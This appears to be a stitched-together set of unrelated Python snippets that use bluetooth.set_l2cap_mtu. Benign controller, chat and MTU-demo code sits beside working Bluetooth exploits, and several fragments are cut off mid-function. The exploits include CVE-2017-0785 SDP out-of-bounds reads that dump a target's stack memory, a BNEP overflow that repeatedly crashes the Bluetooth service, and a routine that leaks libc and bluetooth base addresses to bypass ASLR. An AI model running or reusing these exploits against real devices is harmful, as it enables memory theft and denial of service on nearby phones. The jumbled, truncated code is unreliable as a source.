def __init__(self, bdaddress=None): self.cport = 0x11 # HID's control PSM self.iport = 0x13 # HID' interrupt PSM self.backlog = 1 self.address = "" if bdaddress: self.address = bdaddress # create the HID control socket self.csock = BluetoothSocket(L2CAP) self.csock.bind((self.address, self.cport)) set_l2cap_mtu(self.csock, 64) self.csock.settimeout(2) self.csock.listen(self.backlog) # create the HID interrupt socket self.isock = BluetoothSocket(L2CAP) self.isock.bind((self.address, self.iport)) set_l2cap_mtu(self.isock, 64) self.isock.settimeout(2) self.isock.listen(self.backlog) self.connected = False self.client_csock = None self.caddress = None self.client_isock = None self.iaddress = None
def set_l2cap_mtu(self, mtu: int, device: str = None, port: int = None, service_name: str = None, service_uuid: str = None): """ Set the L2CAP MTU (Maximum Transmission Unit) value for a connected bluetooth device. Both the devices usually use the same MTU value over a connection. :param device: Device address or name :param port: Port number :param service_uuid: Service UUID :param service_name: Service name :param mtu: New MTU value """ from bluetooth import BluetoothError, set_l2cap_mtu, L2CAP sock = self._get_sock(protocol=L2CAP, device=device, port=port, service_uuid=service_uuid, service_name=service_name, connect_if_closed=True) if not sock: raise RuntimeError('set_l2cap_mtu: device not connected') try: set_l2cap_mtu(sock, mtu) except BluetoothError as e: self.close(device=device, port=port, service_name=service_name, service_uuid=service_uuid) raise e
def crasher(targetAddress, targetName, timeout): sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) sock.settimeout(timeout) bluetooth.set_l2cap_mtu(sock, 50) context.endian = 'big' p.status('Connecting to %s (%s)', targetName, targetAddress) try: sock.connect((targetAddress, 1)) except: p.status('%s (%s) connection timed out, could be recovering', targetName, targetAddress) return p.status('Sending packet 0') sock.send(packet(service_long, '\x00')) data = sock.recv(50) stack = '' try: for i in range(1, n): p.status('Sending packet %d' % i) sock.send(packet(service_short, data[-3:])) data = sock.recv(50) stack += data[9:-3] except KeyboardInterrupt: p.status('%s (%s) crash interrupted', targetName, targetAddress) except: p.status('%s (%s) crash attempt finished', targetName, targetAddress) finally: sock.close() return
def start_server(self) -> None: """connection = BluetoothConnection( control_socket_psm=HID_CONTROL_PSM, interrupt_socket_psm=HID_INTERRUPT_PSM, mtu=64 ) connection.connect()""" control_server_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) control_server_socket.bind(("", HID_CONTROL_PSM)) bluetooth.set_l2cap_mtu(control_server_socket, 64) control_server_socket.listen(1) interrupt_server_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) interrupt_server_socket.bind(("", HID_INTERRUPT_PSM)) bluetooth.set_l2cap_mtu(interrupt_server_socket, 64) interrupt_server_socket.listen(1) logging.info("Listening on both PSMs") control_socket, control_address = control_server_socket.accept() interrupt_socket, interrupt_address = interrupt_server_socket.accept() logging.info("Spawned control and interrupt connection threads") control = l2cap.L2CAPServerThread(control_socket, control_address) control.daemon = True control.start() interrupt = l2cap.L2CAPClientThread(interrupt_socket, interrupt_address, Queue()) interrupt.daemon = True interrupt.start()
def __init__(self, xbmc, control_sock, interrupt_sock): self.xbmc = xbmc self.num_samples = 16 self.sumx = [0] * self.num_samples self.sumy = [0] * self.num_samples self.sumr = [0] * self.num_samples self.axis_amount = [0, 0, 0, 0] self.released = set() self.pressed = set() self.pending = set() self.held = set() self.psflags = 0 self.psdown = 0 self.mouse_enabled = 0 set_l2cap_mtu(control_sock, 64) set_l2cap_mtu(interrupt_sock, 64) time.sleep( 0.25) # If we ask to quickly here, it sometimes doesn't start # sixaxis needs this to enable it # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE control_sock.send("\x53\xf4\x42\x03\x00\x00") data = control_sock.recv(1) # This command will turn on the gyro and set the leds # I wonder if turning on the gyro makes it draw more current?? # it's probably a flag somewhere in the following command # HID Command: HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_OUTPUT # HID Report:1 bytes = [0x52, 0x1] bytes.extend([0x00, 0x00, 0x00]) bytes.extend([0xFF, 0x72]) bytes.extend([0x00, 0x00, 0x00, 0x00]) bytes.extend([0x02]) # 0x02 LED1, 0x04 LED2 ... 0x10 LED4 # The following sections should set the blink frequncy of # the leds on the controller, but i've not figured out how. # These values where suggusted in a mailing list, but no explination # for how they should be combined to the 5 bytes per led #0xFF = 0.5Hz #0x80 = 1Hz #0x40 = 2Hz bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED4 [0xff, 0xff, 0x10, 0x10, 0x10] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED3 [0xff, 0x40, 0x08, 0x10, 0x10] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED2 [0xff, 0x00, 0x10, 0x30, 0x30] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED1 [0xff, 0x00, 0x10, 0x40, 0x10] bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00]) bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00]) control_sock.send(struct.pack("42B", *bytes)) data = control_sock.recv(1)
def makeSocket(): p.status('Creating L2CAP socket...') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) context.endian = 'big' if (context.endian == 'big'): connectToDevice else: p.status('couldnt connect to target')
def initialize(control_sock, interrupt_sock): # sixaxis needs this to enable it # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE control_sock.send("\x53\xf4\x42\x03\x00\x00") time.sleep(0.25) data = control_sock.recv(1) set_l2cap_mtu(control_sock, 64) set_l2cap_mtu(interrupt_sock, 64) return data
def connect_keyboard(addr): print('connecting keyboard ...') sock=bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu( sock, 65535 ) try: sock.connect((addr, 21)) print('keyboard connected') except: print('failed to connect') sock = None return sock
def __init__(self, xbmc, control_sock, interrupt_sock): self.xbmc = xbmc self.num_samples = 16 self.sumx = [0] * self.num_samples self.sumy = [0] * self.num_samples self.sumr = [0] * self.num_samples self.axis_amount = [0, 0, 0, 0] self.released = set() self.pressed = set() self.pending = set() self.held = set() self.psflags = 0 self.psdown = 0 self.mouse_enabled = 0 set_l2cap_mtu(control_sock, 64) set_l2cap_mtu(interrupt_sock, 64) time.sleep(0.25) # If we ask to quickly here, it sometimes doesn't start # sixaxis needs this to enable it # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE control_sock.send("\x53\xf4\x42\x03\x00\x00") data = control_sock.recv(1) # This command will turn on the gyro and set the leds # I wonder if turning on the gyro makes it draw more current?? # it's probably a flag somewhere in the following command # HID Command: HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_OUTPUT # HID Report:1 bytes = [0x52, 0x1] bytes.extend([0x00, 0x00, 0x00]) bytes.extend([0xFF, 0x72]) bytes.extend([0x00, 0x00, 0x00, 0x00]) bytes.extend([0x02]) # 0x02 LED1, 0x04 LED2 ... 0x10 LED4 # The following sections should set the blink frequncy of # the leds on the controller, but i've not figured out how. # These values where suggusted in a mailing list, but no explination # for how they should be combined to the 5 bytes per led #0xFF = 0.5Hz #0x80 = 1Hz #0x40 = 2Hz bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED4 [0xff, 0xff, 0x10, 0x10, 0x10] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED3 [0xff, 0x40, 0x08, 0x10, 0x10] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED2 [0xff, 0x00, 0x10, 0x30, 0x30] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED1 [0xff, 0x00, 0x10, 0x40, 0x10] bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00]) bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00]) control_sock.send(struct.pack("42B", *bytes)) data = control_sock.recv(1)
def exploit(target=None): if not target: try: target = args['TARGET'] except: log.info("USAGE: cve20170785.py TARGET=XX:XX:XX:XX:XX:XX") service_long = 0x0100 service_short = 0x0001 mtu = 50 n = 30 p = log.progress('Exploit') p.status('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) context.endian = 'big' p.status('Connecting to target') sock.connect((target, 1)) p.status('Sending packet 0') sock.send(packet(service_long, '\x00')) data = sock.recv(mtu) if data[-3] != 2: log.error('Invalid continuation state received.') stack = '' for i in range(1, n): p.status('Sending packet %d' % i) sock.send(packet(service_short, data[-3:])) data = sock.recv(mtu) stack_add = data[9:-3] if type(stack_add) == bytes: stack_add = str(stack_add).strip('b\'') stack += stack_add sock.close() p.success('Done') print(hexdump(stack))
def bluetooth_chat_server(): """ This is a Bluetooth Server for a Bluetooth Chat Program """ # Get server socket handle server_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) # Increase Connection MTU bluetooth.set_l2cap_mtu(server_sock, 1023) print("Increased maximum transmission unit to 1024 bytes") port = 0x1001 # Open an L2CAP Port and listen on it server_sock.bind(("", port)) server_sock.listen(1) # Turn on discoverability of Bluetooth adapter (subprocess most feasable solution) subprocess.call(['sudo', 'hciconfig', 'hci0', 'piscan']) # Wait for client to connect client_sock, (bd_addr, _) = server_sock.accept() print("Accepted connection from ", bd_addr) # Start Chat function print("Started Bluetooth Chat program. You are the server.") while True: print("Waiting for message by client... ") data = client_sock.recv(1024) if len(data.decode()) == 0: break print("Client says: ", data.decode()) print( "Please type something to send to the client (leave empty to exit): " ) data = input() if len(data) == 0: break client_sock.send(data) # Close down all sockets client_sock.close() server_sock.close()
def initialize(control_sock, interrupt_sock): # sixaxis needs this to enable it # 0x53 => HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_FEATURE control_sock.send("\x53\xf4\x42\x03\x00\x00") time.sleep(0.25) data = control_sock.recv(1) set_l2cap_mtu(control_sock, 64) set_l2cap_mtu(interrupt_sock, 64) # This command will turn on the gyro and set the leds # I wonder if turning on the gyro makes it draw more current?? # it's probably a flag somewhere in the following command # HID Command: HIDP_TRANS_SET_REPORT | HIDP_DATA_RTYPE_OUTPUT # HID Report:1 bytes = [0x52, 0x1] bytes.extend([0x00, 0x00, 0x00]) bytes.extend([0xFF, 0x72]) bytes.extend([0x00, 0x00, 0x00, 0x00]) bytes.extend([0x02]) # 0x02 LED1, 0x04 LED2 ... 0x10 LED4 # The following sections should set the blink frequncy of # the leds on the controller, but i've not figured out how. # These values where suggusted in a mailing list, but no explination # for how they should be combined to the 5 bytes per led #0xFF = 0.5Hz #0x80 = 1Hz #0x40 = 2Hz bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED4 [0xff, 0xff, 0x10, 0x10, 0x10] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED3 [0xff, 0x40, 0x08, 0x10, 0x10] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED2 [0xff, 0x00, 0x10, 0x30, 0x30] bytes.extend([0xFF, 0x00, 0x01, 0x00, 0x01]) #LED1 [0xff, 0x00, 0x10, 0x40, 0x10] bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00]) bytes.extend([0x00, 0x00, 0x00, 0x00, 0x00]) control_sock.send(struct.pack("42B", *bytes)) time.sleep(0.25) data = control_sock.recv(1) return data
def main(): target_bd_addr = args['BD_ADDR'] l2cap_mtu = 50 sock = BluetoothSocket(L2CAP) set_l2cap_mtu(sock, l2cap_mtu) sock.connect((target_bd_addr, PSM_SDP)) print('Sending the first SDP_SERVICE_SEARCH_REQ PDU') params = { 'ServiceSearchPattern': b'\x35\x03\x19\x01\x00', 'MaximumServiceRecordCount': 0xFFFF, 'ContinuationState': b'\x00' } sock.send(sdp_service_search_req(params)) sdp_service_search_rsp = sock.recv(l2cap_mtu) info_len = sdp_service_search_rsp[-3] if info_len != ANDROID_CONT_STATE_INFO_LEN: print(sdp_service_search_rsp[-3]) print('Invalid continuation state received.') sys.exit(1) stack = b'' for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃 print('Sending packet %d' % i) params = { 'ServiceSearchPattern': b'\x35\x03\x19\x01\x00', 'MaximumServiceRecordCount': 0x0001, 'ContinuationState': sdp_service_search_rsp[-3:] } sock.send(sdp_service_search_req(params)) sdp_service_search_rsp = sock.recv(l2cap_mtu) # Leaked info is in ServiceRecordHandleList field stack += sdp_service_search_rsp[9:-3] sock.close() print(hexdump(stack)) if len(stack) > 20: print('CVE-2017-0785')
def device_handler(argv): ''' Parses the command line args and push the data to a BT Hub. ''' parser = argparse.ArgumentParser(description=''' Parses the command line args and push the data to a BT Hub. ''') parser.add_argument('--baddr', default=None, help='''BT Hub's MAC address.''') parser.add_argument('--bport', default=0x1001, type=int, help='''BT Hub's port. Defaults to 1011''') parser.add_argument('--log', default='INFO', help='''set log level to the specified value. Defaults to WARNING. Try DEBUG for maximum detail''') parser.add_argument('--syslog', action='store_true', help='enable logging to syslog') args = parser.parse_args(argv) if args.log: logging.getLogger().setLevel(args.log) if args.syslog: logging.getLogger().addHandler(logging.handlers.SysLogHandler()) if args.baddr is None: logging.error('BT addr not provided') sys.exit(2) bt_addr = args.baddr bt_port = args.bport while True: bt_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) logging.info('Trying to connect to %s:%d', bt_addr, bt_port) bluetooth.set_l2cap_mtu(bt_socket, 65535) bt_socket.connect((bt_addr, bt_port)) logging.info('Connected') data = str(datetime.datetime.now()) sent = bt_socket.send(data) logging.info('sent packet of size %d (tried %d). Now sleeping for 5 seconds...', sent, len(data)) time.sleep(5) bt_socket.close()
def bluetooth_chat_client(): """ This is a Bluetooth Client for a Bluetooth Chat Program """ # Get client socket handle client_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) # Increase Connection MTU bluetooth.set_l2cap_mtu(client_sock, 1023) print("Increased maximum transmission unit to 1024 bytes") # Scan for discoverable regular bluetooth devices bd_addr = bluetooth_classic_scan() port = 0x1001 # Connect to client client_sock.connect((bd_addr, port)) print("Connected to ", bd_addr) # Start Chat function print("Started Bluetooth Chat program. You are the client.") while True: print("Please type something to send to the server (leave empty to exit): ") data = input() if len(data) == 0: break client_sock.send(data) print("Waiting for message by server... ") data = client_sock.recv(1024) if len(data.decode()) == 0: break print("Server says:", data.decode()) # Close down client socket client_sock.close()
args = parser.parse_args() if not TARGET_RE.match(args.TARGET): sys.exit( "Argument TARGET needs to be of the form XX:XX:XX:XX:XX:XX where X is a hexadecimal character!" ) if args.count < 1: sys.exit("Argument --count must be a positive integer number!") p = pwn.log.progress('Exploiting') p.status('Creating L2CAP socket') # Create a L2CAP socket and set MTU sock = bt.BluetoothSocket(bt.L2CAP) bt.set_l2cap_mtu(sock, MTU) p.status('Connecting to target via L2CAP') # Try to initiate a connection to the target try: sock.connect((args.TARGET, 1)) except bt.btcommon.BluetoothError as e: pwn.log.failure("Connection failed: %s" % e.message) sys.exit(1) # Send the first package for the long service without continuation state p.status('Sending packet 0') sock.send(construct_packet(SDP_SERVICE_LONG, '\x00')) data = sock.recv(MTU) if data[-3] != '\x02':
print("") print("l2-mtu server to start in server mode") print( "l2-mtu client <addr> to start in client mode and connect to addr") sys.exit(2) if len(sys.argv) < 2: usage() mode = sys.argv[1] if mode not in ["client", "server"]: usage() if mode == "server": server_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) server_sock.bind(("", 0x1001)) bluetooth.set_l2cap_mtu(server_sock, 65535) server_sock.listen(1) while True: print("waiting for incoming connection") client_sock, address = server_sock.accept() print("Accepted connection from %s" % str(address)) print("waiting for data") total = 0 while True: try: data = client_sock.recv(65535) except bluetooth.BluetoothError as e: break if len(data) == 0: break print("received packet of size %d" % len(data))
def usage(): print("usage: l2-mtu < server | client > [options]") print("") print("l2-mtu server to start in server mode") print("l2-mtu client <addr> to start in client mode and connect to addr") sys.exit(2) if len(sys.argv) < 2: usage() mode = sys.argv[1] if mode not in [ "client", "server" ]: usage() if mode == "server": server_sock=bluetooth.BluetoothSocket( bluetooth.L2CAP ) server_sock.bind(("",0x1001)) bluetooth.set_l2cap_mtu( server_sock, 65535 ) server_sock.listen(1) while True: print("waiting for incoming connection") client_sock,address = server_sock.accept() print("Accepted connection from %s" % str(address)) print("waiting for data") total = 0 while True: try: data = client_sock.recv(65535) except bluetooth.BluetoothError as e: break if len(data) == 0: break
if __name__ == "__main__": parser = ArgumentParser() parser.add_argument("TARGET", action="store", type=str, help="Bluetooth address of the target device") parser.add_argument("-l", "--loop", action="store_true", required=False, help="Loop sending the payload to prevent target from restarting Bluetooth service") args = parser.parse_args() if not TARGET_RE.match(args.TARGET): sys.exit("Argument TARGET needs to be of the form XX:XX:XX:XX:XX:XX where X is a hexadecimal character!") # Construct package to overflow with invalid pointers payload = construct_packet("AAAABBBB") pwn.log.info("Connecting to L2CAP socket...") # Create a low level L2CAP socket and set MTU socket = bt.BluetoothSocket(bt.L2CAP) bt.set_l2cap_mtu(socket, 1500) try: # Connect via BNEP socket.connect((args.TARGET, BNEP_PSM)) pwn.log.info("Sending BNEP payload...") # Send packages to overflow buffer and loop sending if desired run = True while run: for i in range(30): socket.send(payload) # time.sleep(1) run = args.loop pwn.log.success("Crashed bluetooth service") except bt.btcommon.BluetoothError as e:
""" If the extension flag is equal to 0x1 then one or more extension headers follows the BNEP header; If extension flag is equal to 0x0 then the BNEP payload follows the BNEP header. """ return bnep_header_type | 128 def bnep_control_packet(control_type, control_packet): return p8(control_type) + control_packet def packet(overflow): pkt = '' pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL)) pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow) return pkt bad_packet = packet('AAAABBBB') log.info('Connecting...') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, 1500) sock.connect((target, port)) log.info('Sending BNEP packets...') for i in range(count): sock.send(bad_packet) log.success('Done.') sock.close()
def set_bnep_header_extension_bit(bnep_header_type): """ If the extension flag is equal to 0x1 then one or more extension headers follows the BNEP header; If extension flag is equal to 0x0 then the BNEP payload follows the BNEP header. """ return bnep_header_type | 128 def bnep_control_packet(control_type, control_packet): return p8(control_type) + control_packet def packet(overflow): pkt = '' pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL)) pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow) return pkt bad_packet = packet('AAAABBBB') log.info('Connecting...') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, 1500) sock.connect((target, port)) log.info('Sending BNEP packets...') for i in range(count): sock.send(bad_packet) log.success('Done.') sock.close()
def memory_leak_get_bases(src_hci, dst): service_long = 0x0100 service_short = 0x0001 mtu = 50 n = 40 def packet(service, continuation_state): pkt = '\x02\x00\x00' pkt += p16(7 + len(continuation_state)) pkt += '\x35\x03\x19' pkt += p16(service) pkt += '\x01\x00' pkt += continuation_state return pkt p = log.progress('Exploit') p.status('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) context.endian = 'big' p.status('Connecting to target') sock.connect((dst, 1)) p.status('Sending packet 0') sock.send(packet(service_long, '\x00')) data = sock.recv(mtu) if data[-3] != '\x02': log.error('Invalid continuation state received.') leak = '' for i in range(1, n): p.status('Sending packet %d' % i) sock.send(packet(service_short, data[-3:])) data = sock.recv(mtu) leak += data[9:-3] sock.close() log.info(hexdump(leak[0:0x200])) bluetooth_stack_offset = LEAK_LIB_BLUETOOTH_OFFSET libc_stack_offset = LEAK_LIB_LIBC_OFFSET libc_leak_address = struct.unpack( ">I", leak[libc_stack_offset:libc_stack_offset + 0x4])[0] bluetooth_default_leak_address = struct.unpack( ">I", leak[bluetooth_stack_offset:bluetooth_stack_offset + 4])[0] log.info("libc_leak_address %X" % libc_leak_address) log.info("bluetooth_default_leak_address %X" % bluetooth_default_leak_address) libc_text_base = (libc_leak_address & 0xFFFFF000) - OFFSET_LIBC_LEAK_WITH_BASE bluetooth_default_bss_base = (bluetooth_default_leak_address & 0xFFFFF000) - OFFSET_BLUETOOTH_LEAK_WITH_BASE log.info('libc_base: 0x%08x, bluetooth_default_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base)) return libc_text_base, bluetooth_default_bss_base
if len(sys.argv) < 2: usage() mode = sys.argv[1] if mode not in [ "client", "server" ]: usage() if mode == "server": server_sock=bluetooth.BluetoothSocket( bluetooth.L2CAP ) server_sock.bind(("",0x1001)) server_sock.listen(1) while True: print("waiting for incoming connection") client_sock,address = server_sock.accept() print("Accepted connection from %s" % str(address)) bluetooth.set_l2cap_mtu( client_sock, 65535 ) print("waiting for data") total = 0 while True: try: data = client_sock.recv(65535) except bluetooth.BluetoothError as e: break if len(data) == 0: break print("received packet of size %d" % len(data)) client_sock.close() print("connection closed")
def start_send_thread(self): self.server_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) self.server_socket.bind(("", 0xBEEF)) self.server_socket.listen(1) bluetooth.advertise_service(self.server_socket, "grapefruit-server", str(self.server_uuid)) # this should loop until we should stop all bluetooth communications # for instance, if we need to shutdown the game while not self.done.is_set(): print("start of connection loop") # perform this until we get a valid connection with our intended client while not self.is_connected.is_set(): self.client_socket, address = self.server_socket.accept() print("Bluetooth: connection from: " + str(address)) # we got a connection, now verify the client # client should send their uuid first, and we check that it matches what was in # our friends.uuid file from the provisioning script # uuid is 16 bytes, so only receive that many c_uuid = self.client_socket.recv(16) #print("DEBUG: BlueServer received:",c_uuid) c_uuid = uuid.UUID(bytes=c_uuid[0:16]) print("DEBUG: BlueServer client UUID: " + str(c_uuid)) # check that our only allowed uuid matches if c_uuid == self.client_uuid: self.client_socket.send("OK") #bluetooth.stop_advertising(self.server_socket) self.is_connected.set() else: print("BlueServer: bad uuid attempted connection: " + str(c_uuid)) self.client_socket.close() # set mtu of l2cap socket to larger than 672 bytes # update 3/26/18 Message.L2CAP_MTU is set to 672, so no change from default value bluetooth.set_l2cap_mtu(self.server_socket, Message.L2CAP_MTU) #bluetooth.set_l2cap_mtu(self.client_socket, Message.L2CAP_MTU) # the following loop is the communications part of the server # it sends messages added to a queue via the interface of BlueServer # it will also periodically ping the child to make sure our connection is good # # this should loop for: # as long as we have a connection OR # application requests that we die while self.is_connected.is_set() and not self.done.is_set(): message = None try: message = self.send_queue.get(True, 10.0) self.client_socket.send(message) except queue.Empty: # no message is available for sending, ping the child instead #ping = Message.create_bluetooth_message(Message, PING_TO_CLIENT) #self.server_socket.send(ping) self.send_message(PING_TO_CLIENT) self.pings_sent += 1 print("***BlueServer: sent ping #: " + str(self.pings_sent)) except bluetooth.btcommon.BluetoothError: self.is_connected.clear() # TODO should probably do a clean up to get any data that should be commited to database before killing connection # all done with our bluetooth connection, shut everything down self.client_socket.close() self.server_socket.close()
n = 30 def packet(service, continuation_state): pkt = '\x02\x00\x00' pkt += p16(7 + len(continuation_state)) pkt += '\x35\x03\x19' pkt += p16(service) pkt += '\x01\x00' pkt += continuation_state return pkt p = log.progress('Exploit') p.status('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) context.endian = 'big' p.status('Connecting to target') sock.connect((target, 1)) p.status('Sending packet 0') sock.send(packet(service_long, '\x00')) data = sock.recv(mtu) if data[-3] != '\x02': log.error('Invalid continuation state received.') stack = '' for i in range(1, n):
def exploit(target=None): # # Check for args # if (len(sys.argv) != 2) or (not ':' in sys.argv[1]) or (len(sys.argv[1]) != len('XX:XX:XX:XX:XX:XX')): # print ('Usage: ' + sys.argv[0] + ' [TARGET XX:XX:XX:XX:XX:XX]') # exit(1) # -- # target = sys.argv[1] service_long = 0x0100 service_short = 0x0001 mtu = 50 n = 30 context.endian = 'big' if not target: try: target = args['TARGET'] except: log.info("USAGE: cve20170785.py TARGET=XX:XX:XX:XX:XX:XX") # Creating progress log p = log.progress('Exploit') p.status('Creating L2CAP socket') # Start socket L2CAP sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) time.sleep(1) p.status('Connecting to target') try: sock.connect((target, 1)) except Exception: try: log.error('Unable to reach device ' + target) except Exception: exit(1) p.status('Sending packet') try: sock.send(packet(service_long, '\x00')) except Exception: try: log.error('Unable to send packets') except Exception: exit(1) data = sock.recv(mtu) if data[-3] != '\x02': try: log.error('Invalid continuation state received.') except Exception: exit(1) stack = '' for i in range(1, n): p.status('Sending packet %d' % i) sock.send(packet(service_short, data[-3:])) print (packet(service_short, '0f')) data = sock.recv(mtu) stack += data[9:-3] sock.close() p.success('Done') print (hexdump(stack))
def packet(service, continuation_state): pkt = '\x02\x00\x00' pkt += p16(7 + len(continuation_state)) pkt += '\x35\x03\x19' pkt += p16(service) pkt += '\x01\x00' pkt += continuation_state return pkt p = log.progress('Exploit') p.status('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) context.endian = 'big' p.status('Connecting to target') sock.connect((target, 1)) p.status('Sending packet 0') sock.send(packet(service_long, '\x00')) data = sock.recv(mtu) if data[-3] != '\x02': log.error('Invalid continuation state received.') stack = '' for i in range(1, n):
if len(sys.argv) < 2: usage() mode = sys.argv[1] if mode not in ["client", "server"]: usage() if mode == "server": server_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) server_sock.bind(("", 0x1001)) server_sock.listen(1) while True: print "waiting for incoming connection" client_sock, address = server_sock.accept() print "Accepted connection from %s" % str(address) bluetooth.set_l2cap_mtu(client_sock, 65535) print "waiting for data" total = 0 while True: try: data = client_sock.recv(65535) except bluetooth.BluetoothError, e: break if len(data) == 0: break print "received packet of size %d" % len(data) client_sock.close() print "connection closed"